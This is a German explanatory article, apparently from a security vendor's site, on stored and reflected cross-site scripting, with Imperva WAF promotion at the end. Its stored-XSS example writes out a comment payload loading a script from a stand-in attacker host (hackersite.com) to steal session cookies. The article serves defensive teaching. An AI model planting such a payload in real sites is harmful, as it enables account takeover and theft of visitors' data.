Cross-Site-Scripting (XSS)-Angriffe
Was ist Cross-Site-Scripting (XSS)
Cross-Site-Scripting (XSS) ist ein gängiger Angriffsvektor, bei dem bösartiger Code in eine verwundbare Web-Anwendung injiziert wird. XSS unterscheidet sich von anderen Web-Angriffsvektoren (z. B. SQL-Injektionen) dadurch, dass es nicht direkt auf die Anwendung selbst abzielt. Stattdessen sind die Benutzer der Webanwendung gefährdet.
Ein erfolgreicher Cross-Site-Scripting-Angriff kann verheerende Folgen für die Reputation eines Online-Unternehmens und die Beziehung zu seinen Kunden haben.
Abhängig von der Schwere des Angriffs können Benutzerkonten kompromittiert, Trojaner-Programme aktiviert und Seiteninhalte verändert werden, wodurch Benutzer dazu verleitet werden, ihre privaten Daten bereitwillig herauszugeben. Schließlich können Session-Cookies aufgedeckt werden, die es dem Täter ermöglichen, sich als gültiger Benutzer auszugeben und dessen private Konten zu missbrauchen.
Cross-Site-Scripting-Angriffe können in zwei Arten unterteilt werden: gespeicherte und reflektierte.
Gespeicherte XSS, auch bekannt als persistentes XSS, ist die schädlichere der beiden Arten. Es tritt auf, wenn ein bösartiges Skript direkt in eine verwundbare Webanwendung injiziert wird.
Reflektiertes XSS beinhaltet das Reflektieren eines bösartigen Skripts aus einer Webanwendung in den Browser eines Benutzers. Das Skript ist in einen Link eingebettet und wird erst aktiviert, wenn dieser Link angeklickt wird.
Was ist gespeichertes Cross-Site-Scripting
Um einen gespeicherten XSS-Angriff erfolgreich auszuführen, muss ein Täter eine Schwachstelle in einer Webanwendung finden und dann ein bösartiges Skript in den Server injizieren (z.B., über ein Kommentarfeld).
Eines der häufigsten Ziele sind Websites, die es Benutzern ermöglichen, Inhalte zu teilen, darunter Blogs, soziale Netzwerke, Video-Sharing-Plattformen und Message Boards. Jedes Mal, wenn die infizierte Seite aufgerufen wird, wird das bösartige Skript an den Browser des Opfers übertragen.
Beispiel für einen gespeicherten XSS-Angriff
Beim Surfen auf einer E-Commerce-Website entdeckt ein Täter eine Schwachstelle, die das Einbetten von HTML-Tags in den Kommentarbereich der Seite ermöglicht. Die eingebetteten Tags werden zu einem festen Bestandteil der Seite, so dass der Browser sie bei jedem Öffnen der Seite zusammen mit dem restlichen Quellcode analysiert.
Der Angreifer fügt den folgenden Kommentar ein: Toller Preis für einen tollen Artikel! Lesen Sie meine Rezension hier <script src=“http://hackersite.com/authstealer.js”></script>.
Ab diesem Zeitpunkt wird bei jedem Zugriff auf die Seite durch den HTML-Tag im Kommentar eine JavaScript-Datei aktiviert, die auf einer anderen Seite gehostet wird und die Möglichkeit hat, die Session-Cookies der Besucher zu stehlen.
Mit Hilfe des Session-Cookies kann der Angreifer das Konto des Besuchers kompromittieren und ihm so leichten Zugang zu dessen persönlichen Informationen und Kreditkartendaten gewähren. Währenddessen merkt der Besucher, der vielleicht nicht einmal bis zum Kommentarbereich gescrollt hat, nicht, dass der Angriff stattgefunden hat.
Im Gegensatz zu einem reflektierten Angriff, bei dem das Skript aktiviert wird, nachdem ein Link angeklickt wurde, erfordert ein gespeicherter Angriff nur, dass das Opfer die kompromittierte Webseite besucht. Dies erhöht die Reichweite des Angriffs und gefährdet alle Besucher, unabhängig von ihrer Wachsamkeit.
Aus Sicht des Täters sind persistente XSS-Angriffe relativ schwer auszuführen, da es schwierig ist, sowohl eine gut besuchte Webseite als auch eine mit Schwachstellen zu finden, die eine permanente Skript-Einbettung ermöglichen.
Sehen Sie, wie die Imperva Web Application Firewall Ihnen bei XSS-Angriffen helfen kann.
Vermeidung/Minderung von XSS-Angriffen
Eine Web Application Firewall (WAF) ist die am häufigsten eingesetzte Lösung zum Schutz vor XSS- und Webanwendungsangriffen.
WAFs setzen verschiedene Methoden ein, um Angriffsvektoren abzuwehren. Im Falle von XSS verlassen sich die meisten auf signaturbasierte Filterung, um bösartige Anfragen zu identifizieren und zu blockieren.
In Übereinstimmung mit den Best Practices der Branche setzt die Cloud Web Application Firewall von Imperva auch Signaturfilterung ein, um Cross-Site-Scripting-Angriffe abzuwehren.
Die Cloud WAF von Imperva wird als Managed Service angeboten und regelmäßig von einem Team von Sicherheitsexperten gewartet, die den Sicherheitsregelsatz ständig mit Signaturen neu entdeckter Angriffsvektoren aktualisieren.
Die Crowdsourcing-Technologie von Imperva sammelt und aggregiert automatisch Angriffsdaten aus dem gesamten Netzwerk, was allen Kunden zugutekommt.
Der Crowdsourcing-Ansatz ermöglicht eine extrem schnelle Reaktion auf Zero-Day-Bedrohungen und schützt die gesamte Nutzergemeinschaft vor jeder neuen Bedrohung, sobald ein einzelner Angriffsversuch identifiziert wird.